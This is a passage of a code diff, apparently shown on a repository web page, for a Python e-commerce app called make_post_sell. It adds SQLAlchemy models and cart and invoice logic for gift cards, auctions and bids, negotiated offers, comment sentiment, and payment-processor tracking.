return self.start_price_in_cents
return self.current_high_in_cents + self.bid_increment_in_cents
@property
def min_next_bid(self):
return cents_to_dollars(self.min_next_bid_in_cents)
class MpsBid(RBase, Base):
"""One bid on an auction. amount_in_cents is the actual bid; max_proxy
is the bidder's secret ceiling, used by lib/auction proxy resolution."""
id = Column(UUIDType, primary_key=True, index=True)
auction_id = Column(
UUIDType,
foreign_key("MpsAuction", "id"),
nullable=False,
index=True,
)
bidder_user_id = Column(
UUIDType,
foreign_key("User", "id"),
nullable=False,
index=True,
)
amount_in_cents = Column(BigInteger, nullable=False)
max_proxy_in_cents = Column(BigInteger, nullable=True)
created_timestamp = Column(BigInteger, nullable=False)
outbid_timestamp = Column(BigInteger, nullable=True)
is_winning = Column(
Boolean, nullable=False, default=False, server_default="0"
)
auction = relationship(argument="MpsAuction", uselist=False, back_populates="bids")
bidder = relationship(argument="User", uselist=False)
def __init__(self, auction, bidder, amount_in_cents, max_proxy_in_cents=None):
self.id = uuid.uuid1()
self.auction = auction
self.bidder = bidder
self.amount_in_cents = amount_in_cents
self.max_proxy_in_cents = max_proxy_in_cents
self.created_timestamp = now_timestamp()
self.is_winning = False
@property
def amount(self):
return cents_to_dollars(self.amount_in_cents)
@property
def max_proxy(self):
if self.max_proxy_in_cents is None:
return None
return cents_to_dollars(self.max_proxy_in_cents)
class MpsAuctionWatcher(RBase, Base):
"""User watches an auction. Drives ending-soon and outbid emails."""
id = Column(UUIDType, primary_key=True, index=True)
auction_id = Column(
UUIDType,
foreign_key("MpsAuction", "id"),
nullable=False,
index=True,
)
user_id = Column(
UUIDType,
foreign_key("User", "id"),
nullable=False,
index=True,
)
created_timestamp = Column(BigInteger, nullable=False)
notify_on_outbid = Column(
Boolean, nullable=False, default=True, server_default="1"
)
notify_on_ending_soon = Column(
Boolean, nullable=False, default=True, server_default="1"
)
auction = relationship(
argument="MpsAuction", uselist=False, back_populates="watchers"
)
user = relationship(argument="User", uselist=False)
def __init__(self, auction, user, notify_on_outbid=True,
notify_on_ending_soon=True):
self.id = uuid.uuid1()
self.auction = auction
self.user = user
self.notify_on_outbid = notify_on_outbid
self.notify_on_ending_soon = notify_on_ending_soon
self.created_timestamp = now_timestamp()
def get_auction_by_id(dbsession, auction_id):
return get_object_by_id(dbsession, auction_id, MpsAuction)
def get_bid_by_id(dbsession, bid_id):
return get_object_by_id(dbsession, bid_id, MpsBid)

226
make_post_sell/models/cart.py
View file

@ -22,6 +22,7 @@ from .product import get_products_by_ids
from .shop import get_shops_by_ids
from .cart_coupon import CartCoupon
from .cart_gift_card import CartGiftCard
from .inventory import get_inventory_by_product_and_shop_location
@ -47,6 +48,9 @@ class Cart(RBase, Base):
handling_option = Column(Unicode(64), nullable=True)
handling_cost_in_cents = Column(BigInteger, nullable=True, default=0)
# Gift card purchase items (variable-priced, not regular products)
json_gift_cards = Column(UnicodeText, default=unicode("[]"))
created_timestamp = Column(BigInteger, nullable=False)
updated_timestamp = Column(BigInteger, nullable=False)
@ -57,9 +61,22 @@ class Cart(RBase, Base):
"cart_coupons", "coupon", creator=lambda c: CartCoupon(coupon=c)
)
# many to many uses association_proxy.
gift_cards = association_proxy(
"cart_gift_cards", "gift_card", creator=lambda gc: CartGiftCard(gift_card=gc)
)
user = relationship(argument="User", uselist=False, lazy="joined")
shop = relationship(argument="Shop", uselist=False, lazy="joined")
# One cart can produce many invoices (multi-shop checkouts split into
# one invoice per shop). lazy=dynamic so /u/carts can cheaply check
# `cart.invoices.count()` without loading rows.
invoices = relationship(
argument="Invoice", lazy="dynamic", foreign_keys="Invoice.cart_id",
back_populates="cart",
)
def __init__(self, user=None):
# since shopping carts are a private thing which may optionally
# be granted public access, we use random uuid4 UUIDs to prevent
@ -67,6 +84,7 @@ class Cart(RBase, Base):
self.id = uuid.uuid4()
self.user = user
self.json_cart = unicode("{}")
self.json_gift_cards = unicode("[]")
self.created_timestamp = now_timestamp()
self.updated_timestamp = now_timestamp()
@ -93,6 +111,10 @@ class Cart(RBase, Base):
del self._discounted_shop_totals
if hasattr(self, "_line_totals"):
del self._line_totals
if hasattr(self, "_gift_card_deductions"):
del self._gift_card_deductions
if hasattr(self, "_gift_card_purchases"):
del self._gift_card_purchases
def set_cart(self, cart_dict):
"""Save cart_dict as JSON into json_cart."""
@ -155,10 +177,22 @@ class Cart(RBase, Base):
# this busts memoization.
self.cart = tmp_cart
@property
def gift_card_purchases(self):
"""Return list of gift card purchase items from json_gift_cards."""
if not hasattr(self, "_gift_card_purchases"):
self._gift_card_purchases = json.loads(self.json_gift_cards or "[]")
return self._gift_card_purchases
@property
def gift_card_purchases_total_in_cents(self):
"""Total cost of gift card purchases in this cart."""
return sum(item["amount_in_cents"] for item in self.gift_card_purchases)
@property
def count(self):
if hasattr(self, "_count") == False:
self._count = sum(self.cart.values())
self._count = sum(self.cart.values()) + len(self.gift_card_purchases)
return self._count
@property
@ -267,7 +301,7 @@ class Cart(RBase, Base):
@property
def discounted_shop_totals_in_cents(self):
"""Discounted shop totals in cents after applying coupons."""
"""Discounted shop totals in cents after applying coupons and gift cards."""
if hasattr(self, "_discounted_shop_totals_in_cents") == False:
from copy import deepcopy
@ -282,8 +316,27 @@ class Cart(RBase, Base):
self._discounted_shop_totals_in_cents[shop_uuid] = (
coupon.compute_discount(shop_total_in_cents)
)
# Apply gift card balances after coupons
self._gift_card_deductions = {}
if len(self.gift_cards) > 0:
for gift_card in self.gift_cards:
shop_uuid = gift_card.shop_uuid_str
if shop_uuid in self._discounted_shop_totals_in_cents:
current = self._discounted_shop_totals_in_cents[shop_uuid]
deduction = min(gift_card.balance_in_cents, current)
self._discounted_shop_totals_in_cents[shop_uuid] = current - deduction
self._gift_card_deductions[gift_card.uuid_str] = deduction
return self._discounted_shop_totals_in_cents
@property
def gift_card_deductions(self):
"""Dict of gift_card_uuid_str -> deduction amount in cents.
Populated as a side effect of discounted_shop_totals_in_cents."""
# Ensure discounted totals are computed first
_ = self.discounted_shop_totals_in_cents
return getattr(self, "_gift_card_deductions", {})
@property
def discounted_shop_totals(self):
if hasattr(self, "_discounted_shop_totals") == False:
@ -297,12 +350,138 @@ class Cart(RBase, Base):
)
return self._discounted_shop_totals
@property
def auction_offer_override_in_cents(self):
"""MPS-20 + MPS-21: when this cart is linked to a winning auction
or accepted offer, the agreed amount overrides product list price.
Returns the override in cents, or None if no association.
At most one of cart_auctions or cart_offers should be set per cart;
if both are set (defensive — should not happen), the auction wins.
"""
if self.cart_auctions:
ca = self.cart_auctions[0]
winning_bid = (
ca.auction.bids.filter_by(is_winning=True).one_or_none()
)
if winning_bid is not None:
return winning_bid.amount_in_cents
return ca.auction.start_price_in_cents
if self.cart_offers:
return self.cart_offers[0].offer.current_amount_in_cents
return None
@property
def is_negotiated(self):
"""MPS-20 + MPS-21: True when the cart total is set by an
accepted offer or winning auction bid, not by list-price summation.
Used by templates to render the negotiation card and to suppress
coupon / gift-card controls that don't stack on a negotiated price.
"""
return bool(self.cart_auctions or self.cart_offers)
@property
def negotiation_kind(self):
"""'auction' | 'offer' | None — the kind of negotiation behind
this cart's override. Auction wins if both are set."""
if self.cart_auctions:
return "auction"
if self.cart_offers:
return "offer"
return None
@property
def negotiation_path(self):
"""Relative URL to the offer or auction page, or None."""
if self.cart_auctions:
return f"/a/{self.cart_auctions[0].auction.uuid_str}"
if self.cart_offers:
return f"/o/{self.cart_offers[0].offer.uuid_str}"
return None
@property
def negotiated_product(self):
"""The product the offer / auction was negotiated on, or None."""
if self.cart_auctions:
return self.cart_auctions[0].auction.product
if self.cart_offers:
return self.cart_offers[0].offer.product
return None
@property
def list_total_in_cents(self):
"""Sum of line items at list price — the would-be total if no
offer / auction were attached. Used to show savings on
negotiated carts."""
return sum(self.line_totals_in_cents.values())
@property
def list_total(self):
return cents_to_dollars(self.list_total_in_cents)
@property
def savings_in_cents(self):
"""Positive when the negotiated price is below list. Zero when
the cart isn't negotiated, or when negotiated amount >= list
(e.g. an auction bid above list)."""
if not self.is_negotiated:
return 0
override = self.auction_offer_override_in_cents or 0
diff = self.list_total_in_cents - override
return diff if diff > 0 else 0
@property
def savings(self):
return cents_to_dollars(self.savings_in_cents)
@property
def negotiation_pay_deadline_ms(self):
"""When this negotiated cart must be paid by, in absolute ms.
Returns None if the cart isn't negotiated or no deadline is set
on the linked offer / auction.
- cart_offers → offer.acceptance_pay_deadline_ms
- cart_auctions → auction.payment_deadline_timestamp
"""
if self.cart_offers:
return self.cart_offers[0].offer.acceptance_pay_deadline_ms
if self.cart_auctions:
return self.cart_auctions[0].auction.payment_deadline_timestamp
return None
@property
def negotiation_pay_deadline_human(self):
"""Human-readable delta of the pay-by deadline ("in 23 hours,
14 minutes"), via ago.human. None when no deadline applies."""
ms = self.negotiation_pay_deadline_ms
if ms is None:
return None
import ago
from datetime import datetime, timezone
dt = datetime.fromtimestamp(ms / 1000, tz=timezone.utc)
return ago.human(
dt, precision=2,
past_tense="expired {} ago",
future_tense="in {}",
)
@property
def total_price_in_cents(self):
"""
Calculate the total price in cents, including handling cost if applicable.
Calculate the total price in cents, including handling cost and gift card purchases.
MPS-20 + MPS-21: an auction-won or offer-accepted cart pays the
agreed amount instead of the sum of line items.
"""
override = self.auction_offer_override_in_cents
if override is not None:
total = override
total += self.gift_card_purchases_total_in_cents
if self.handling_cost_in_cents:
total += self.handling_cost_in_cents
return total
total = sum(self.line_totals_in_cents.values())
total += self.gift_card_purchases_total_in_cents
if self.handling_cost_in_cents:
total += self.handling_cost_in_cents
return total
@ -317,9 +496,21 @@ class Cart(RBase, Base):
@property
def total_discounted_price_in_cents(self):
"""
Calculate the total discounted price in cents, including handling cost if applicable.
Calculate the total discounted price in cents, including handling cost and gift card purchases.
MPS-20 + MPS-21: an auction-won or offer-accepted cart pays the
agreed amount; coupons and gift-card balances do not stack on top
of a negotiated price.
"""
override = self.auction_offer_override_in_cents
if override is not None:
total = override
total += self.gift_card_purchases_total_in_cents
if self.handling_cost_in_cents:
total += self.handling_cost_in_cents
return total
total = sum(self.discounted_shop_totals_in_cents.values())
total += self.gift_card_purchases_total_in_cents
if self.handling_cost_in_cents:
total += self.handling_cost_in_cents
return total
@ -365,6 +556,14 @@ class Cart(RBase, Base):
return True
return False
@property
def requires_stripe_payment(self):
"""Return True if Stripe can legally process this cart, else False.
Stripe enforces a hard floor of $0.50 USD — below that, Stripe rejects the charge.
Use DOGE or XMR for purchases under $0.50.
"""
return self.total_in_cents >= 50
@property
def is_not_public(self):
return not self.public
@ -418,6 +617,25 @@ class Cart(RBase, Base):
)
return error_messages
def validate_attached_gift_cards(self):
"""Make sure all attached gift cards are valid for this cart."""
error_messages = []
if self.gift_cards:
for gift_card in self.gift_cards:
if gift_card.disabled:
error_messages.append(
f"Gift card '{gift_card.code}' has been disabled."
)
if gift_card.balance_in_cents <= 0:
error_messages.append(
f"Gift card '{gift_card.code}' has no remaining balance."
)
if gift_card.shop_uuid_str not in self.shop_totals_in_cents:
error_messages.append(
f"Gift card '{gift_card.code}' is not valid for any shop in your cart."
)
return error_messages
def check_inventory(self, shop_location):
"""
Check if the shop location has enough quantity for each physical product in the cart.

40
make_post_sell/models/cart_auction.py Normal file
View file

@ -0,0 +1,40 @@
"""MpsCartAuction — association between a cart and the auction whose
winning bid drives its total.
A cart with a cart_auction row pays at the auction's winning_bid amount,
not the product's listed price. The route that creates this association
(/a/{id}/checkout — commit 8) verifies the user is the winner.
The relationship is many-to-one to Cart and one-to-one to MpsAuction
(an auction has at most one cart in the wild — once paid, state flips
to SETTLED and the association sticks for audit but no other cart is
created against the same auction).
"""
import uuid
from sqlalchemy import Column, BigInteger
from sqlalchemy.orm import relationship, backref
from .meta import Base, RBase, UUIDType, foreign_key, now_timestamp
class MpsCartAuction(RBase, Base):
id = Column(UUIDType, primary_key=True, index=True)
cart_id = Column(UUIDType, foreign_key("Cart", "id"), nullable=False)
auction_id = Column(
UUIDType, foreign_key("MpsAuction", "id"), nullable=False, index=True,
)
created_timestamp = Column(BigInteger, nullable=False)
cart = relationship(
argument="Cart",
backref=backref("cart_auctions", cascade="all, delete-orphan"),
)
auction = relationship(argument="MpsAuction")
def __init__(self, cart=None, auction=None):
self.id = uuid.uuid1()
self.cart = cart
self.auction = auction
self.created_timestamp = now_timestamp()

34
make_post_sell/models/cart_gift_card.py Normal file
View file

@ -0,0 +1,34 @@
import uuid
from sqlalchemy import Column, BigInteger
from sqlalchemy.orm import relationship, backref
from .meta import Base, RBase, UUIDType, foreign_key, now_timestamp
class CartGiftCard(RBase, Base):
"""
Many to many, Carts to GiftCards.
A relationship signifies the application of a gift card to a cart.
"""
id = Column(UUIDType, primary_key=True, index=True)
cart_id = Column(UUIDType, foreign_key("Cart", "id"), nullable=False)
gift_card_id = Column(UUIDType, foreign_key("GiftCard", "id"), nullable=False)
created_timestamp = Column(BigInteger, nullable=False)
cart = relationship(
argument="Cart",
backref=backref("cart_gift_cards", cascade="all, delete-orphan"),
)
gift_card = relationship(
argument="GiftCard",
backref=backref("gift_card_carts", cascade="all, delete-orphan"),
)
def __init__(self, cart=None, gift_card=None):
self.id = uuid.uuid1()
self.cart = cart
self.gift_card = gift_card
self.created_timestamp = now_timestamp()

38
make_post_sell/models/cart_offer.py Normal file
View file

@ -0,0 +1,38 @@
"""MpsCartOffer — association between a cart and the accepted offer
whose agreed amount drives its total.
A cart with a cart_offer row pays at the offer's current_amount_in_cents,
not the product's listed price. The route that creates this association
(/o/{id}/checkout — commit 8) verifies the offer is in ACCEPTED state
and the user is the buyer.
Many-to-one to Cart, one-to-one to MpsOffer.
"""
import uuid
from sqlalchemy import Column, BigInteger
from sqlalchemy.orm import relationship, backref
from .meta import Base, RBase, UUIDType, foreign_key, now_timestamp
class MpsCartOffer(RBase, Base):
id = Column(UUIDType, primary_key=True, index=True)
cart_id = Column(UUIDType, foreign_key("Cart", "id"), nullable=False)
offer_id = Column(
UUIDType, foreign_key("MpsOffer", "id"), nullable=False, index=True,
)
created_timestamp = Column(BigInteger, nullable=False)
cart = relationship(
argument="Cart",
backref=backref("cart_offers", cascade="all, delete-orphan"),
)
offer = relationship(argument="MpsOffer")
def __init__(self, cart=None, offer=None):
self.id = uuid.uuid1()
self.cart = cart
self.offer = offer
self.created_timestamp = now_timestamp()

108
make_post_sell/models/comment.py
View file

@ -26,6 +26,7 @@ from make_post_sell.lib.time_funcs import (
)
from make_post_sell.lib.render import markdown_to_html
from make_post_sell.lib.sentiment import classify_sentiment
from .meta import Base, RBase
from .meta import UUIDType
@ -82,6 +83,9 @@ class Comment(RBase, Base):
# by default comments are approved. unless shop requires approval.
approved = Column(Boolean, default=True)
# sentiment: -1 = negative, 0 = neutral, 1 = positive, None = unscored
sentiment = Column(Integer, default=None)
ip_address = Column(Unicode(45), default=None)
# lazy='joined' performs a left join to reduce queries, it's magic.
@ -128,6 +132,11 @@ class Comment(RBase, Base):
def unverified_children(self):
return self.children.filter(Comment.verified == False)
@property
def enabled_children(self):
"""Get all non-disabled child comments."""
return self.children.filter(Comment.disabled == False)
@property
def path_to_root(self):
"""The path from this comment to the root comment."""
@ -185,13 +194,33 @@ class Comment(RBase, Base):
return True
return False
@property
def human_sentiment(self):
if self.sentiment == 1:
return "positive"
elif self.sentiment == -1:
return "negative"
return "neutral"
@property
def sentiment_icon(self):
if self.sentiment == 1:
return "+"
elif self.sentiment == -1:
return "-"
return "~"
def set_data(self, data):
"""Set comment data and generate HTML."""
self.data = data
if data:
self.data_html = markdown_to_html(data)
# Pass shop context if available through product relationship
shop = self.product.shop if self.product else None
self.data_html = markdown_to_html(data, shop)
self.sentiment = classify_sentiment(data)
else:
self.data_html = None
self.sentiment = 0
self.updated_timestamp = now_timestamp()
def stamp_updated_timestamp(self):
@ -300,6 +329,20 @@ def get_recent_comments(dbsession, shop_id=None, limit=10):
return query.order_by(Comment.created_timestamp.desc()).limit(limit).all()
def get_comments_for_shop(dbsession, shop_id, filter_type="all"):
"""Get all comments across a shop's products for the moderation dashboard."""
from .product import Product
query = dbsession.query(Comment).join(Product).filter(Product.shop_id == shop_id)
if filter_type == "pending":
query = query.filter(Comment.approved == False, Comment.disabled == False)
elif filter_type == "deleted":
query = query.filter(Comment.disabled == True)
else: # "all" = non-deleted
query = query.filter(Comment.disabled == False)
return query.order_by(Comment.created_timestamp.desc()).all()
def get_total_comment_count_for_product(dbsession, product_id, shop=None, user=None):
"""Get total count of all approved, non-disabled comments (root + replies) for a product."""
query = dbsession.query(Comment).filter(
@ -309,3 +352,66 @@ def get_total_comment_count_for_product(dbsession, product_id, shop=None, user=N
)
return query.count()
def get_sentiment_summary_for_shop(dbsession, shop_id, cutoff_ms):
"""Return counts of positive/neutral/negative comments since *cutoff_ms*.
Returns a dict ``{"positive": int, "neutral": int, "negative": int, "total": int}``.
"""
from .product import Product
rows = (
dbsession.query(Comment.sentiment, func.count().label("cnt"))
.join(Product)
.filter(
Product.shop_id == shop_id,
Comment.disabled == False,
Comment.approved == True,
Comment.sentiment.isnot(None),
Comment.created_timestamp > cutoff_ms,
)
.group_by(Comment.sentiment)
.all()
)
summary = {"positive": 0, "neutral": 0, "negative": 0, "total": 0}
for sentiment_val, cnt in rows:
if sentiment_val == 1:
summary["positive"] = cnt
elif sentiment_val == -1:
summary["negative"] = cnt
else:
summary["neutral"] = cnt
summary["total"] += cnt
return summary
def get_sentiment_summary_for_product(dbsession, product_id, cutoff_ms):
"""Return counts of positive/neutral/negative comments for a product since *cutoff_ms*.
Returns a dict ``{"positive": int, "neutral": int, "negative": int, "total": int}``.
"""
rows = (
dbsession.query(Comment.sentiment, func.count().label("cnt"))
.filter(
Comment.product_id == product_id,
Comment.disabled == False,
Comment.approved == True,
Comment.sentiment.isnot(None),
Comment.created_timestamp > cutoff_ms,
)
.group_by(Comment.sentiment)
.all()
)
summary = {"positive": 0, "neutral": 0, "negative": 0, "total": 0}
for sentiment_val, cnt in rows:
if sentiment_val == 1:
summary["positive"] = cnt
elif sentiment_val == -1:
summary["negative"] = cnt
else:
summary["neutral"] = cnt
summary["total"] += cnt
return summary

108
make_post_sell/models/gift_card.py Normal file
View file

@ -0,0 +1,108 @@
import secrets
import uuid
from sqlalchemy import Column, BigInteger, Boolean, Unicode
from sqlalchemy.orm import relationship
from .meta import (
Base,
RBase,
UUIDType,
foreign_key,
now_timestamp,
get_object_by_id,
)
from ..lib.currency import cents_to_dollars
class GiftCard(RBase, Base):
"""
A gift card is scoped to a single shop. The code IS the value —
no account required to redeem. Balance decrements across purchases.
Gift cards never expire (permacomputer rules).
"""
id = Column(UUIDType, primary_key=True, index=True)
shop_id = Column(UUIDType, foreign_key("Shop", "id"), nullable=False)
code = Column(Unicode(64), nullable=False, unique=True, index=True)
initial_amount_in_cents = Column(BigInteger, nullable=False)
balance_in_cents = Column(BigInteger, nullable=False)
purchaser_email = Column(Unicode(256), nullable=True)
gift_email = Column(Unicode(256), nullable=True)
gift_message = Column(Unicode(512), nullable=True)
invoice_id = Column(UUIDType, foreign_key("Invoice", "id"), nullable=True)
created_timestamp = Column(BigInteger, nullable=False)
disabled = Column(Boolean, default=False, nullable=False)
shop = relationship(argument="Shop", uselist=False, lazy="joined")
invoice = relationship(argument="Invoice", uselist=False, lazy="joined")
transactions = relationship(
argument="GiftCardTransaction",
lazy="dynamic",
back_populates="gift_card",
)
def __init__(self, shop, amount_in_cents, purchaser_email=None,
gift_email=None, gift_message=None, invoice=None):
self.id = uuid.uuid1()
self.shop = shop
self.code = generate_gift_card_code()
self.initial_amount_in_cents = amount_in_cents
self.balance_in_cents = amount_in_cents
self.purchaser_email = purchaser_email
self.gift_email = gift_email
self.gift_message = gift_message
self.invoice = invoice
self.created_timestamp = now_timestamp()
@property
def is_valid(self):
return not self.disabled and self.balance_in_cents > 0
@property
def balance(self):
return cents_to_dollars(self.balance_in_cents)
@property
def initial_amount(self):
return cents_to_dollars(self.initial_amount_in_cents)
@property
def shop_uuid_str(self):
return self.id_to_uuid_str(self.shop_id)
@property
def is_fully_redeemed(self):
return self.balance_in_cents <= 0
def deduct(self, amount_in_cents):
"""Deduct amount from balance. Returns actual amount deducted."""
deduction = min(amount_in_cents, self.balance_in_cents)
self.balance_in_cents -= deduction
return deduction
def generate_gift_card_code():
"""Generate a unique gift card code: GC- prefix + 16 hex chars uppercase."""
return "GC-" + secrets.token_hex(8).upper()
def get_gift_card_by_id(dbsession, gift_card_id):
return get_object_by_id(dbsession, gift_card_id, GiftCard)
def get_gift_card_by_code(dbsession, code, shop=None):
query = dbsession.query(GiftCard).filter(GiftCard.code == code.strip().upper())
if shop is not None:
query = query.filter(GiftCard.shop_id == shop.id)
return query.one_or_none()
def get_gift_cards_by_shop(dbsession, shop):
return (
dbsession.query(GiftCard)
.filter(GiftCard.shop_id == shop.id)
.order_by(GiftCard.created_timestamp.desc())
)

46
make_post_sell/models/gift_card_transaction.py Normal file
View file

@ -0,0 +1,46 @@
import uuid
from sqlalchemy import Column, BigInteger
from sqlalchemy.orm import relationship
from .meta import (
Base,
RBase,
UUIDType,
foreign_key,
now_timestamp,
get_object_by_id,
)
from ..lib.currency import cents_to_dollars
class GiftCardTransaction(RBase, Base):
"""Tracks each time a gift card balance is used at checkout."""
id = Column(UUIDType, primary_key=True, index=True)
gift_card_id = Column(UUIDType, foreign_key("GiftCard", "id"), nullable=False)
invoice_id = Column(UUIDType, foreign_key("Invoice", "id"), nullable=False)
amount_in_cents = Column(BigInteger, nullable=False)
created_timestamp = Column(BigInteger, nullable=False)
gift_card = relationship(
argument="GiftCard", uselist=False, lazy="joined",
back_populates="transactions",
)
invoice = relationship(argument="Invoice", uselist=False, lazy="joined")
def __init__(self, gift_card, invoice, amount_in_cents):
self.id = uuid.uuid1()
self.gift_card = gift_card
self.invoice = invoice
self.amount_in_cents = amount_in_cents
self.created_timestamp = now_timestamp()
@property
def amount(self):
return cents_to_dollars(self.amount_in_cents)
def get_gift_card_transaction_by_id(dbsession, transaction_id):
return get_object_by_id(dbsession, transaction_id, GiftCardTransaction)

111
make_post_sell/models/invoice.py
View file

@ -93,6 +93,12 @@ class Invoice(RBase, Base):
# the marketplace is responsible for charging the customer
# and paying out the shop owner, while taking a 15-35% cut.
market_id = Column(UUIDType, foreign_key("Market", "id"), nullable=True)
# the source cart this invoice was built from. nullable: historical
# invoices predate the link, and tests may build an invoice without
# a cart. apply_cart_negotiation() sets it during checkout so the
# /u/carts listing can mark a cart as "checked out" and surface a
# link to the resulting receipt.
cart_id = Column(UUIDType, foreign_key("Cart", "id"), nullable=True)
# the timestamp when the invoice was created.
created_timestamp = Column(BigInteger, nullable=False)
@ -103,6 +109,23 @@ class Invoice(RBase, Base):
# denormalized address of user for shipping products.
delivery_address = Column(UnicodeText, nullable=True)
# PayPal payment tracking (nullable - only set for PayPal payments)
paypal_order_id = Column(Unicode(64), nullable=True)
paypal_capture_id = Column(Unicode(64), nullable=True)
# Stripe payment tracking (nullable - only set for Stripe payments)
stripe_payment_intent_id = Column(Unicode(64), nullable=True)
stripe_charge_id = Column(Unicode(64), nullable=True)
# Adyen payment tracking (nullable - only set for Adyen payments)
adyen_psp_reference = Column(Unicode(64), nullable=True)
# MPS-20 + MPS-21: when this invoice was built from a cart with an
# accepted offer or winning auction bid, the negotiated total
# overrides line-item summation. Carries the agreed amount in
# cents; nullable for non-negotiated invoices.
negotiation_override_in_cents = Column(BigInteger, nullable=True)
# one to one.
user = relationship(argument="User", uselist=False, lazy="joined")
@ -112,6 +135,12 @@ class Invoice(RBase, Base):
# one to one.
market = relationship(argument="Market", uselist=False, lazy="joined")
# back-ref to the source cart, if known.
cart = relationship(
argument="Cart", uselist=False, foreign_keys=[cart_id],
back_populates="invoices",
)
# one to many.
# returns all the InvoiceLineItems.
# lazy="dynamic" returns a query object instead of an InstrumentedList.
@ -182,6 +211,28 @@ class Invoice(RBase, Base):
)
)
def apply_cart_negotiation(self, cart):
"""Bind this invoice to the source cart.
Two jobs (one method, called at exactly one place per checkout
flow, so it's where we wire both):
1. Tag self.cart_id so /u/carts can flag the cart as "checked
out" and link to this receipt.
2. MPS-20 + MPS-21: if the cart is offer- or auction-bound,
copy the negotiated override total so payment processors
charge the agreed price, not the list-price sum of line
items. Coupons / gift cards don't stack on a negotiated
price; this short-circuits both.
Idempotent — safe to call multiple times during construction.
"""
if cart is not None:
self.cart_id = cart.id
if cart.is_negotiated:
self.negotiation_override_in_cents = (
cart.auction_offer_override_in_cents
)
def new_coupon_redemption(self, coupon):
"""
given a Coupon, create a coupon redemption for this invoice.
@ -225,7 +276,19 @@ class Invoice(RBase, Base):
@property
def total_in_cents(self):
"""Calculate the total amount in cents for the invoice, including handling fee and discounts."""
"""Calculate the total amount in cents for the invoice, including handling fee and discounts.
MPS-20 + MPS-21: when negotiation_override_in_cents is set, the
invoice was built from a cart with an accepted offer or winning
auction bid. The negotiated price replaces the line-item
summation entirely; coupons and discount stacking do not apply
to a negotiated price (the buyer already negotiated it). Only
handling is added on top.
"""
if self.negotiation_override_in_cents is not None:
handling = self.handling_cost_in_cents or 0
return max(0, self.negotiation_override_in_cents + handling)
subtotal = self.subtotal_in_cents
discount = self.discount_amount_in_cents
handling = self.handling_cost_in_cents or 0
@ -249,6 +312,14 @@ class Invoice(RBase, Base):
return True
return False
@property
def requires_stripe_payment(self):
"""Return True if Stripe can legally process this invoice, else False.
Stripe enforces a hard floor of $0.50 USD — below that, Stripe rejects the charge.
Use DOGE or XMR for purchases under $0.50.
"""
return self.total_in_cents >= 50
@property
def human_created_timestamp(self):
"""Return the created timestamp in a human-readable format."""
@ -260,16 +331,16 @@ class Invoice(RBase, Base):
@property
def payment_status(self):
"""Get payment status from crypto_payment or assume paid for Stripe."""
"""Get payment status from crypto_payment or assume paid for Stripe/PayPal."""
if hasattr(self, "crypto_payment") and self.crypto_payment:
return self.crypto_payment.status
else:
# If invoice exists without crypto_payment, it's a successful Stripe payment
# If invoice exists without crypto_payment, it's a successful Stripe/PayPal payment
return "paid"
@property
def payment_method(self):
"""Get payment method from crypto_payment or return 'stripe' for card payments."""
"""Get payment method: crypto, paypal, or stripe."""
try:
if hasattr(self, "crypto_payment") and self.crypto_payment:
# crypto_payment is a collection, get the first one
@ -281,8 +352,17 @@ class Invoice(RBase, Base):
elif hasattr(self.crypto_payment, "coin_type"):
return self.crypto_payment.coin_type.lower()
except Exception:
# Fall back to stripe if there's any issue accessing crypto_payment
pass
# Check for PayPal payment
if self.paypal_order_id:
return "paypal"
# Check for Adyen payment
if self.adyen_psp_reference:
return "adyen"
# Check for Stripe payment (or assume Stripe for legacy invoices)
if self.stripe_payment_intent_id:
return "stripe"
# Default to stripe for legacy invoices without explicit payment tracking
return "stripe"
@property
@ -301,6 +381,27 @@ def get_invoice_by_id(dbsession, invoice_id):
return get_object_by_id(dbsession, invoice_id, Invoice)
def get_invoice_by_paypal_order_id(dbsession, paypal_order_id):
"""Try to get Invoice object by PayPal order ID or return None."""
return dbsession.query(Invoice).filter(
Invoice.paypal_order_id == paypal_order_id
).first()
def get_invoice_by_stripe_payment_intent_id(dbsession, payment_intent_id):
"""Try to get Invoice object by Stripe payment intent ID or return None."""
return dbsession.query(Invoice).filter(
Invoice.stripe_payment_intent_id == payment_intent_id
).first()
def get_invoice_by_adyen_psp_reference(dbsession, psp_reference):
"""Try to get Invoice object by Adyen PSP reference or return None."""
return dbsession.query(Invoice).filter(
Invoice.adyen_psp_reference == psp_reference
).first()
def delete_invoice_by_id(dbsession, invoice_id):
"""
Safely delete an invoice and its line items, but only if it's from a terminated/unsuccessful crypto payment.

23
make_post_sell/models/meta.py
View file

@ -35,11 +35,28 @@ CLASS_TO_TABLE = {
"InvoiceLineItem": "mps_invoice_line_item",
"ShopSearchRequest": "mps_shop_search_request",
"StripeUserShop": "mps_stripe_user_shop",
"PayPalUserShop": "mps_paypal_user_shop",
"Market": "mps_market",
"Comment": "mps_comment",
"CryptoPayment": "mps_crypto_payment",
"CryptoProcessor": "mps_crypto_processor",
"UserCryptoRefundAddress": "mps_user_crypto_refund_address",
"ShopSubscription": "mps_shop_subscription",
"PageSession": "mps_page_session",
"GiftCard": "mps_gift_card",
"GiftCardTransaction": "mps_gift_card_transaction",
"CartGiftCard": "mps_cart_gift_card",
"MpsApiKey": "mps_api_key",
"MpsAuction": "mps_auction",
"MpsBid": "mps_bid",
"MpsAuctionWatcher": "mps_auction_watcher",
"MpsOffer": "mps_offer",
"MpsOfferEvent": "mps_offer_event",
"MpsCartAuction": "mps_cart_auction",
"MpsCartOffer": "mps_cart_offer",
"MpsNotification": "mps_notification",
"Tag": "mps_tag",
"ProductTag": "mps_product_tag",
}
@ -65,9 +82,9 @@ COUPON_ACTION_TYPES = {
}
VISIBILITY_INT_TO_HUMAN = {
0: "private",
1: "public",
2: "unlisted",
0: "Private",
1: "Public",
2: "Unlisted",
}

Some files were not shown because too many files have changed in this diff Show more